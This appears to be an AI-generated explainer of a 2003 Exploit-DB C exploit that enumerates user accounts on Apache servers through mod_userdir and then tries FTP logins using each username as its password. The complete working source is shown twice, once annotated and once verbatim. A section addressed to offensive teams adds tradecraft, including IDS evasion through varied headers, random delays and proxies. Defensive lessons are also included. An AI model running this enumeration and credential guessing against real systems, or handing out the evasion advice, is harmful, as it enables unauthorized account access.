Apache mod_userdir Remote User Disclosure Exploit Explained

Apache mod_userdir Remote User Disclosure Exploit Explained
What this paper is
This paper details a vulnerability in older versions of the Apache HTTP Server (specifically versions 1.3.x up to 2.0.48). The vulnerability lies in the mod_userdir module, which allows users to host their own web content under a specific directory (e.g., http://server.com/~username/). When misconfigured, this module can inadvertently reveal the existence of user accounts on the server. The exploit provided attempts to leverage this by checking for common user directories and then, optionally, trying to log in to an FTP server using the discovered usernames.
Simple technical breakdown
The core of the vulnerability is how Apache handles requests for user directories. If mod_userdir is enabled and not properly restricted, a request like http://server.com/~username/ might reveal information about the server's configuration or even the existence of the username account.
The exploit works in two main phases:
Fingerprinting and User Disclosure:
- It sends HTTP
HEADrequests to specific paths like/~rootand/~toorto determine if the server is running Apache and to try and guess the operating system. - It then iterates through a provided list of potential usernames. For each username, it sends a
HEADrequest to/~username/. - If the server responds with something other than a "Not Found" (404) error, it indicates that the user directory might exist, and thus the username is likely a valid account on the system.
- It sends HTTP
Optional FTP Brute-Force:
- If the
-b(brute-force) option is used, the exploit takes the discovered usernames and attempts to log in to an FTP server (defaulting to port 21) using the username as both the username and password.
- If the
Complete code and payload walkthrough
Let's break down the provided C code.
Header and Includes:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>These are standard C library includes for input/output, memory allocation, process control, error handling, socket programming, and network address resolution.
Constants:
#define DEFAULT_HTTP_PORT 80
#define DEFAULT_FTP_PORT 21Defines default ports for HTTP and FTP services.
m00() function:
int m00() {
printf("\n[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.\n\n");
printf("\n[*] Downloaded on www.K-OTIK.com\n\n");
}This function simply prints the exploit's banner and a download source.
verbose() function:
int verbose(char *d) {
printf("+-----------------------o0o-----------------------+\n");
printf("\n%s",d);
printf("+-----------------------o0o-----------------------+\n");
}A helper function to print output enclosed in decorative lines, likely for displaying raw server responses when verbose mode (-v) is enabled.
usage() function:
int usage(char *xplname) {
printf("[~] usage: %s -t <host> -u <userlist> [options]\n\n",xplname);
printf("Options:\n");
printf("-p <port> - http port [80]\n");
printf("-l <log_file> - log all attempts to file\n");
printf("-b - try to log on ftp with guessed logins (public version only login:login)\n");
printf("-h - usage\n");
printf("\n");
exit(0);
}Prints the command-line usage instructions and exits.
attempt() function:
int attempt(char *argv);This is declared but not defined in the provided source. It's likely a placeholder or an incomplete part of the original code. Based on its name and context, it might have been intended for a more complex FTP brute-force mechanism or a different type of attack. It is unknown what this function was intended to do.
conn() function:
int conn(char *ip, unsigned short port) {
struct hostent *hs;
struct sockaddr_in sock;
int sockfd;
bzero(&sock, sizeof(sock));
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
if ((sock.sin_addr.s_addr=inet_addr(ip))==-1) {
if ((hs=gethostbyname(ip))==NULL) {
perror("[-] Error"); exit(0);
}
sock.sin_family = hs->h_addrtype;
memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("[-] Error"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
perror("[-] Error "); exit(0);
}
return(sockfd);
}This function establishes a TCP connection to a specified IP address and port.
- It first tries to convert the IP address string to a network address. If it fails (meaning it's likely a hostname), it uses
gethostbynameto resolve the hostname. - It creates a socket.
- It attempts to
connectto the target host and port. - It returns the socket file descriptor if successful, or exits with an error message if any step fails.
main() function:
This is the primary execution logic.
int main(int argc, char *argv[]) {
FILE *userlist, *logfile;
char *file=NULL; // Path to user list file
char *lfile=NULL; // Path to log file
char *host=NULL; // Target host IP or hostname
char buf[0x20], check[0x20], request[0xc8], answer[0x3e8], c,logd[0x30]; // Buffers for data
int i,hand,x,f,v=0,brute=0; // Flags and counters
int port = DEFAULT_HTTP_PORT; // Target HTTP port
int fport = DEFAULT_FTP_PORT; // Target FTP port
char c200[0x05] = "\x20\x32\x30\x30\x20"; // Hex for " 200 " (likely part of a status line)
char c403[0x0e] = "\x34\x30\x33\x20\x46\x6f\x72\x62\x69\x64\x64\x65\x6e"; // Hex for "403 Forbidden"
char c404[0x0e] = "\x34\x30\x34\x20\x4e\x6f\x74\x20\x46\x6f\x75\x6e\x64"; // Hex for "404 Not Found"
char signature[0x0f] = "\x53\x65\x72\x76\x65\x72\x3a\x20\x41\x70\x61\x63\x68\x65"; // Hex for "Server: Apache"
char *http = "Accept: */*\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nUser-Agent: m00-apache-finger\r\nConnection: close\r\n\r\n"; // HTTP headers
char **logz; // Array to store found usernames
m00(); // Print banner
if(argc<2) usage(argv[0]); // Check for minimum arguments
// Parse command-line options
while((c = getopt(argc, argv, "t:u:hp:vbl:"))!= EOF) {
switch (c) {
case 't': host=optarg; break; // Target host
case 'u': file=optarg; break; // User list file
case 'p': port=atoi(optarg); break; // HTTP port
case 'l': lfile=optarg; break; // Log file
case 'b': brute=1; break; // Enable FTP brute-force
case 'v': v=1; break; // Enable verbose output
case 'h': usage(argv[0]); return 1; // Show usage
default: usage(argv[0]); return 1; // Invalid option
}
}
if(host==NULL) { usage(argv[0]); } // Host is mandatory
if(file==NULL) { usage(argv[0]); } // User list is mandatory
// Open log file if specified
if(lfile && (logfile = fopen(lfile, "a")) == 0) {
printf("[-] unable to open logfile [%s]\n",lfile);
exit(0);
}
// Open user list file
if((userlist = fopen(file, "r")) == 0) {
printf("[-] unable to open userlist [%s]\n",file);
exit(0);
}
logz = (char **)malloc(0x666); // Allocate memory for storing found usernames. 0x666 is a magic number, likely intended to be a large enough buffer.
printf("[*] Checking http server [%s:%i]...\n",host,port);
// --- Phase 1: Fingerprinting and OS Detection ---
// Check for Apache signature and 403 Forbidden response
hand = conn(host,port); // Establish connection
sprintf(request,"HEAD /~root HTTP/1.1\r\nHost: %s\r\n%s",host,http); // Craft request for /~root
write(hand,request,strlen(request)); // Send request
recv(hand,answer,0x3e8,0); // Receive response
if(v) verbose(answer); // Print response if verbose
printf(" Apache => ");
if(!strstr(answer,signature)) { printf(" no\n Vulnerable => "); } else printf(" yes\n Vulnerable => "); // Check for "Server: Apache"
if(!strstr(answer,c403)) { printf("no\n[-] Exiting...\n"); exit(0); } else printf("yes\n"); // Check for "403 Forbidden"
close(hand); // Close connection
// Attempt to guess OS
hand = conn(host,port); // Establish connection
sprintf(request,"HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s",host,http); // Craft request for /~toor
write(hand,request,strlen(request)); // Send request
recv(hand,answer,0x3e8,0); // Receive response
if(v) verbose(answer); // Print response if verbose
printf(" OS => ");
if(strstr(answer,c403)) { printf("FreeBSD"); } else { // Check for 403 Forbidden again, implying FreeBSD
if(strstr(answer,"Unix")) printf("Unix unknow"); // Generic Unix
if(strstr(answer,"Debian")) printf("Debian Linux");
if(strstr(answer,"RedHat")) printf("RedHat Linux");
if(strstr(answer,"mdk")) printf("Mandrake Linux"); // Mandrake Linux
}
close(hand); // Close connection
printf("\n[*] Searching for system accounts...");
// Initialize log file if specified
if(lfile) {
sprintf(logd,"Host: %s\nFound accounts:\n",host);
fprintf(logfile,logd);
}
x=0; // Counter for checked users
f=0; // Counter for found users
// --- Phase 2: User Disclosure ---
while (1) {
fgets(buf, 32, userlist); // Read a username from the userlist file
if (buf[0] == '\n' || strstr(check,buf)) break; // Stop if empty line or duplicate username
strcpy(check,buf); // Store current username to check for duplicates
buf[strlen(buf)-1] = '\0'; // Remove trailing newline from username
x++; // Increment checked user count
printf("\n %s \t=> ",buf); // Print the username being checked
hand = conn(host,port); // Establish connection
sprintf(request,"HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s",buf,host,http); // Craft request for /~username
write(hand,request,strlen(request)); // Send request
recv(hand,answer,0x3e8,0); // Receive response
if(v) verbose(answer); // Print response if verbose
if(!strstr(answer,c404)) { // If the response is NOT "404 Not Found"
printf(" yes",buf); // User likely exists
if(lfile) { // Log to file if specified
sprintf(logd,"%s\n",buf);
fprintf(logfile,logd);
}
logz[f] = (char *)malloc(strlen(buf)); // Allocate memory for the username
memcpy(logz[f],buf,strlen(buf)); // Copy username
memset(logz[f]+strlen(buf),0x0,1); // Null-terminate
f++; // Increment found user count
}
close(hand); // Close connection
}
fclose(userlist); // Close user list file
printf("\n[*] Searching complete.\n");
printf(" %i users checked\n %i users found\n",x,f);
// --- Phase 3: Optional FTP Brute-Force ---
if(brute && f>0) { // If brute-force is enabled and users were found
x=0; // Reset counter for found FTP accounts
i=0; // Counter for total users checked in this phase
if(lfile) { // Log FTP section header if logging
sprintf(logd,"FTP:\n");
fprintf(logfile,logd);
}
printf("[*] Attempting to log on ftp with login:login...\n");
while(x!=f) { // Iterate through found usernames
printf(" %s:%s \t=>",logz[x],logz[x]); // Print username:password attempt
hand = conn(host,fport); // Establish FTP connection
sprintf(request,"USER %s\n",logz[x]); // Send USER command
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0); // Receive response
sprintf(request,"PASS %s\n",logz[x]); // Send PASS command
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0); // Receive response
if(strstr(answer,"230")) { // Check for FTP success code (230 User logged in)
printf(" yes\n");
if(lfile) { // Log successful login if logging
sprintf(logd,"%s:%s\n",logz[x],logz[x]);
fprintf(logfile,logd);
}
i++; // Increment successful FTP login count
} else printf(" no\n");
close(hand); // Close connection
x++; // Move to next username
}
printf("[*] Complete.\n");
printf(" %i ftp accounts found\n",i);
}
if(lfile) { // Close log file if it was opened
fprintf(logfile,"\n");
fclose(logfile);
}
} // End of main function block
/* m00 */
// milw0rm.com [2003-12-06]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>, #include <stdlib.h>, ...: Standard library imports for core functionalities.#define DEFAULT_HTTP_PORT 80,#define DEFAULT_FTP_PORT 21: Defines default network ports.m00(): Displays the exploit banner.verbose(char *d): Prints detailed output within decorative borders, used for debugging or showing raw responses.usage(char *xplname): Displays help information and exits.conn(char *ip, unsigned short port): Establishes a TCP connection to a target host and port. Returns a socket file descriptor.main(): The entry point of the program.- Variable declarations (
file,lfile,host,port,fport,brute,v, etc.): Store configuration and state. c200,c403,c404,signature: Predefined byte sequences (hex encoded strings) representing HTTP status codes and the Apache server signature for pattern matching.http: A string containing standard HTTP headers for requests.logz: A pointer to an array of character pointers, intended to store discovered usernames.getopt(...): Parses command-line arguments.fopen(lfile, "a"),fopen(file, "r"): Opens the log file in append mode and the user list file in read mode.malloc(0x666): Allocates memory forlogz. The size0x666is a magic number, likely chosen to be large enough for a reasonable number of usernames.conn(host, port): Connects to the target HTTP server.sprintf(request, "HEAD /~root HTTP/1.1\r\nHost: %s\r\n%s", host, http): Constructs an HTTPHEADrequest targeting the/~rootpath. This is used to probe for Apache and its version.write(hand, request, strlen(request)): Sends the crafted HTTP request.recv(hand, answer, 0x3e8, 0): Receives the HTTP response from the server into theanswerbuffer.strstr(answer, signature): Checks if theanswerbuffer contains the "Server: Apache" signature.strstr(answer, c403): Checks if theanswerbuffer contains "403 Forbidden". This is used to infer the OS (e.g., FreeBSD) or confirm vulnerability.sprintf(request, "HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s", host, http): Constructs aHEADrequest for/~toor. This is another probe, potentially for OS detection.strstr(answer, "Debian"),strstr(answer, "RedHat"),strstr(answer, "mdk"): Checks the response for OS-specific keywords to identify the operating system.while (1) { fgets(buf, 32, userlist); ... }: Loop to read usernames from theuserlistfile.buf[strlen(buf)-1] = '\0': Removes the newline character from the read username.sprintf(request, "HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s", buf, host, http): Constructs aHEADrequest for each potential user directory (/~username).!strstr(answer, c404): Checks if the response is not "404 Not Found". If true, it implies the user directory exists.logz[f] = (char *)malloc(strlen(buf)),memcpy(logz[f], buf, strlen(buf)): Stores the discovered username in thelogzarray.if(brute && f>0): Conditional block for FTP brute-force if the-bflag is set and users were found.conn(host, fport): Connects to the target FTP server.sprintf(request, "USER %s\n", logz[x]): Crafts an FTPUSERcommand.sprintf(request, "PASS %s\n", logz[x]): Crafts an FTPPASScommand.strstr(answer, "230"): Checks the FTP server's response for the "230 User logged in" success code.fclose(userlist),fclose(logfile): Closes opened files.
- Variable declarations (
Shellcode/Payload Segments:
There is no explicit shellcode or executable payload bytes in the traditional sense within this C code. The "payload" here is the series of crafted HTTP and FTP requests designed to elicit specific responses from the target server. The exploit itself is the C program that orchestrates these network interactions.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host and port (typically 80 for HTTP, 21 for FTP). No prior local access is required.
- Lab Preconditions:
- A controlled network environment to test against vulnerable Apache servers.
- A list of potential usernames (
userlist.txt). Common lists can be found online or generated. - A target Apache server running a vulnerable version (1.3.x to 2.0.48) with
mod_userdirenabled and not properly configured (e.g., not restricting access to user directories). - A target FTP server (optional, for the
-bflag) that is accessible and potentially running with default credentials or weak password policies.
- Tooling Assumptions:
- A Linux/Unix-like environment to compile and run the C code.
- Standard C compiler (e.g.,
gcc). - Network connectivity tools.
- Execution Pitfalls:
- Version Mismatch: The exploit is specific to Apache versions 1.3.x through 2.0.48. Newer versions are not vulnerable to this specific
mod_userdirdisclosure. - Configuration: The target Apache server must have
mod_userdirenabled and misconfigured. Many modern configurations prevent this type of disclosure. - Firewalls/IDS/IPS: Network security devices might detect the probing requests or the pattern of requests, leading to blocking or alerting. The
HEADrequests are less noisy thanGETbut still generate traffic. - Rate Limiting: Servers might implement rate limiting, preventing rapid successive requests, which could cause the exploit to fail or only partially succeed.
- User List Quality: The effectiveness of user disclosure depends heavily on the quality and relevance of the provided user list. Generic lists might yield many false positives or miss actual users.
- FTP Server Security: The FTP brute-force phase is highly dependent on the FTP server's security. Many modern FTP servers have lockout mechanisms or are secured by other means. The exploit only attempts
login:login, which is a very weak brute-force strategy. - OS Detection Accuracy: The OS detection is heuristic and relies on specific response patterns. It might be inaccurate.
- Connection Errors: Network instability or server unresponsiveness can cause
conn()to fail, halting the exploit.
- Version Mismatch: The exploit is specific to Apache versions 1.3.x through 2.0.48. Newer versions are not vulnerable to this specific
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target Apache version and configuration before deploying this exploit. Tools like Nmap with specific scripts or manual HTTP header analysis can help.
- Stealth: Using
HEADrequests is generally stealthier thanGETrequests as they only fetch headers. However, the pattern of requests can still be indicative of scanning. - Logging: Utilize the
-loption to log all attempts. This is crucial for post-engagement analysis and reporting. - Targeted User Lists: Instead of generic lists, use intelligence gathered about the target organization to create more targeted username lists (e.g., common names, department-specific prefixes).
- FTP Brute-Force Limitations: The
login:loginstrategy is very basic. For more advanced operations, one might consider integrating with more sophisticated FTP brute-forcing tools if a successful disclosure is confirmed. However, this exploit's primary value is information disclosure, not direct system compromise via FTP. - Evasion: If detected, consider varying the request headers (
User-Agent,Accept-Language), introducing random delays between requests, or using proxies to obscure the source IP.
Where this was used and when
This exploit was published in 2003. The vulnerability it targets existed in Apache versions from 1.3.x up to 2.0.48. The author notes that despite its age, it was still relevant in 2003 because many administrators used default configurations. It's highly unlikely to be effective against modern, patched Apache installations. Its primary use would have been during the early to mid-2000s by security researchers and potentially malicious actors targeting systems with unpatched or default Apache configurations.
Defensive lessons for modern teams
- Patch Management: Regularly update web server software (Apache, Nginx, etc.) to the latest stable versions. This is the most critical defense against known vulnerabilities.
- Secure Configuration:
mod_userdir: Ifmod_userdiris used, ensure it is configured securely. Restrict access to user directories, disable it if not needed, and avoid default configurations that expose sensitive information.- Server Signatures: Configure web servers to not reveal detailed server information in HTTP headers. For Apache, this is typically done via the
ServerSignatureandServerTokensdirectives inhttpd.conf.
- Web Application Firewalls (WAFs): Deploy WAFs to detect and block common scanning patterns and exploit attempts, including requests targeting known vulnerable paths or signatures.
- Intrusion Detection/Prevention Systems (IDS/IPS): Configure IDS/IPS to monitor network traffic for suspicious patterns, such as rapid, repetitive requests to web servers or unusual HTTP request structures.
- Network Segmentation: Isolate web servers from critical internal systems. Even if a web server is compromised, segmentation can limit the attacker's lateral movement.
- Least Privilege: Ensure that user accounts on the web server are created with the minimum necessary privileges. This limits the impact of any discovered usernames.
- Regular Audits: Conduct regular security audits and vulnerability assessments of web server configurations and deployed software.
ASCII visual (if applicable)
This exploit's flow is primarily sequential network communication. An ASCII visual can represent the interaction between the attacker's machine and the target server.
+-----------------+ +-----------------------+ +-----------------+
| Attacker Machine| ----> | Target Apache Server | ----> | Target OS |
| (Exploit Exec) | | (Vulnerable mod_userdir)| | (User Accounts) |
+-----------------+ +-----------------------+ +-----------------+
| ^ ^
| 1. HTTP HEAD (Probe) | |
| - /~root | |
| - /~toor | |
| | |
| 2. HTTP HEAD (User List)| |
| - /~user1 | |
| - /~user2 | |
| ... | |
| | |
| 3. FTP Connection (Opt.)| |
| - USER/PASS | |
+-------------------------+ |
|
| 4. FTP Server Response
+-----------------+Explanation:
- The attacker machine sends HTTP
HEADrequests to probe the Apache server, checking for its presence and attempting to infer the OS. - It then iterates through a user list, sending
HEADrequests for each potential user directory (/~username). - If usernames are disclosed and the
-bflag is used, it establishes an FTP connection to the target. - It attempts to log in to the FTP server using the discovered username as both username and password.
Source references
- Paper ID: 132
- Paper Title: Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure
- Author: m00
- Published: 2003-12-06
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/132
- Raw URL: https://www.exploit-db.com/raw/132
- Related Information (mentioned in paper): http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
Original Exploit-DB Content (Verbatim)
/* m00-apache-w00t.c
*
* Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
* ~ Proof-of-Concept edition ~
*
* This tool scans remote hosts with httpd (apache) and disclosure information
* about existens users accounts via wrong default configuration of mod_userdir
* (default apache module). Then attempts to log on ftp with found logins.
*
* Works only against Linux and *BSD boxes.
* Info: http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
* This is old, but curentlly still actual problem, because 99% of all admins use
* default configuration of apache http server.
*
* This tool scans remote hosts with httpd (apache) and disclosure information
* about existens users accounts via wrong default configuration of mod_userdir
* (default apache module). Then attempts to log on ftp with found logins.
*
* -d4rkgr3y
*
* sh-2.05b$ ./m00-apache-w00t -t localhost -u test_userlist.txt -b
*
* [*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
*
* [*] Checking http server [localhost:80]...
* Apache => yes
* Vulnerable => yes
* OS => Mandrake Linux
* [*] Searching for system accounts...
* sergey =>
* m00 =>
* satan => yes
* evil =>
* poison =>
* god =>
* guest =>
* dima =>
* ftp => yes
* vasya =>
* rst =>
* vasi =>
* [*] Searching complete.
* 12 users checked
* 2 users found
* [*] Attempting to log on ftp with login:login...
* satan:satan => no
* ftp:ftp => no
* [*] Complete.
* 0 ftp accounts found
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define DEFAULT_HTTP_PORT 80
#define DEFAULT_FTP_PORT 21
int m00() {
printf("\n[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.\n\n");
printf("\n[*] Downloaded on www.K-OTIK.com\n\n");
}
int verbose(char *d) {
printf("+-----------------------o0o-----------------------+\n");
printf("\n%s",d);
printf("+-----------------------o0o-----------------------+\n");
}
int usage(char *xplname) {
printf("[~] usage: %s -t <host> -u <userlist> [options]\n\n",xplname);
printf("Options:\n");
printf("-p <port> - http port [80]\n");
printf("-l <log_file> - log all attempts to file\n");
printf("-b - try to log on ftp with guessed logins (public version only login:login)\n");
printf("-h - usage\n");
printf("\n");
exit(0);
}
int attempt(char *argv);
int conn(char *ip, unsigned short port) {
struct hostent *hs;
struct sockaddr_in sock;
int sockfd;
bzero(&sock, sizeof(sock));
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
if ((sock.sin_addr.s_addr=inet_addr(ip))==-1) {
if ((hs=gethostbyname(ip))==NULL) {
perror("[-] Error"); exit(0);
}
sock.sin_family = hs->h_addrtype;
memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("[-] Error"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
perror("[-] Error "); exit(0);
}
return(sockfd);
}
int main(int argc, char *argv[]) {
FILE *userlist, *logfile;
char *file=NULL;
char *lfile=NULL;
char *host=NULL;
char buf[0x20], check[0x20], request[0xc8], answer[0x3e8], c,logd[0x30];
int i,hand,x,f,v=0,brute=0;
int port = DEFAULT_HTTP_PORT;
int fport = DEFAULT_FTP_PORT;
char c200[0x05] =
"\x20\x32\x30\x30\x20";
char c403[0x0e] =
"\x34\x30\x33\x20\x46\x6f"
"\x72\x62\x69\x64\x64\x65\x6e";
char c404[0x0e] =
"\x34\x30\x34\x20\x4e\x6f\x74"
"\x20\x46\x6f\x75\x6e\x64";
char signature[0x0f] =
"\x53\x65\x72\x76\x65\x72\x3a"
"\x20\x41\x70\x61\x63\x68\x65";
char *http =
"Accept: */*\r\n"
"Accept-Language: en-us,en;q=0.5\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"User-Agent: m00-apache-finger\r\n"
"Connection: close\r\n\r\n";
char **logz;
m00();
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:hp:vbl:"))!= EOF) {
switch (c) {
case 't':
host=optarg;
break;
case 'u':
file=optarg;
break;
case 'p':
port=atoi(optarg);
break;
case 'l':
lfile=optarg;
break;
case 'b':
brute=1;
break;
case 'v':
v=1;
break;
case 'h':
usage(argv[0]);
return 1;
default:
usage(argv[0]);
return 1;
}
}
if(host==NULL) { usage(argv[0]); }
if(file==NULL) { usage(argv[0]); }
if(lfile && (logfile = fopen(lfile, "a")) == 0) {
printf("[-] unable to open logfile [%s]\n",lfile);
exit(0);
}
if((userlist = fopen(file, "r")) == 0) {
printf("[-] unable to open userlist [%s]\n",file);
exit(0);
}
logz = (char **)malloc(0x666);
printf("[*] Checking http server [%s:%i]...\n",host,port);
hand = conn(host,port);
sprintf(request,"HEAD /~root HTTP/1.1\r\nHost: %s\r\n%s",host,http);
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0);
if(v) verbose(answer);
printf(" Apache => ");
if(!strstr(answer,signature)) { printf(" no\n Vulnerable => "); } else printf(" yes\n Vulnerable => ");
if(!strstr(answer,c403)) { printf("no\n[-] Exiting...\n"); exit(0); } else printf("yes\n");
close(hand);
hand = conn(host,port);
sprintf(request,"HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s",host,http);
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0);
if(v) verbose(answer);
printf(" OS => ");
if(strstr(answer,c403)) { printf("FreeBSD"); } else {
if(strstr(answer,"Unix")) printf("Unix unknow");
if(strstr(answer,"Debian")) printf("Debian Linux");
if(strstr(answer,"RedHat")) printf("RedHat Linux");
if(strstr(answer,"mdk")) printf("Mandrake Linux");
}
close(hand);
printf("\n[*] Searching for system accounts...");
if(lfile) {
sprintf(logd,"Host: %s\nFound accounts:\n",host);
fprintf(logfile,logd);
}
x=0;
f=0;
while (1) {
fgets(buf, 32, userlist);
if (buf[0] == '\n' || strstr(check,buf)) break;
strcpy(check,buf);
buf[strlen(buf)-1] = '\0';
x++;
printf("\n %s \t=> ",buf);
hand = conn(host,port);
sprintf(request,"HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s",buf,host,http);
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0);
if(v) verbose(answer);
if(!strstr(answer,c404)) {
printf(" yes",buf);
if(lfile) {
sprintf(logd,"%s\n",buf);
fprintf(logfile,logd);
}
logz[f] = (char *)malloc(strlen(buf));
memcpy(logz[f],buf,strlen(buf));
memset(logz[f]+strlen(buf),0x0,1);
f++;
}
close(hand);
}
fclose(userlist);
printf("\n[*] Searching complete.\n");
printf(" %i users checked\n %i users found\n",x,f);
if(brute && f>0) {
x=0;
i=0;
if(lfile) {
sprintf(logd,"FTP:\n");
fprintf(logfile,logd);
}
printf("[*] Attempting to log on ftp with login:login...\n");
while(x!=f) {
printf(" %s:%s \t=>",logz[x],logz[x]);
hand = conn(host,fport);
sprintf(request,"USER %s\n",logz[x]);
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0);
sprintf(request,"PASS %s\n",logz[x]);
write(hand,request,strlen(request));
recv(hand,answer,0x3e8,0);
if(strstr(answer,"230")) {
printf(" yes\n");
if(lfile) {
sprintf(logd,"%s:%s\n",logz[x],logz[x]);
fprintf(logfile,logd);
}
i++;
} else printf(" no\n");
close(hand);
x++;
}
printf("[*] Complete.\n");
printf(" %i ftp accounts found\n",i);
}
if(lfile) {
fprintf(logfile,"\n");
fclose(logfile);
}
}
/* m00 */
// milw0rm.com [2003-12-06]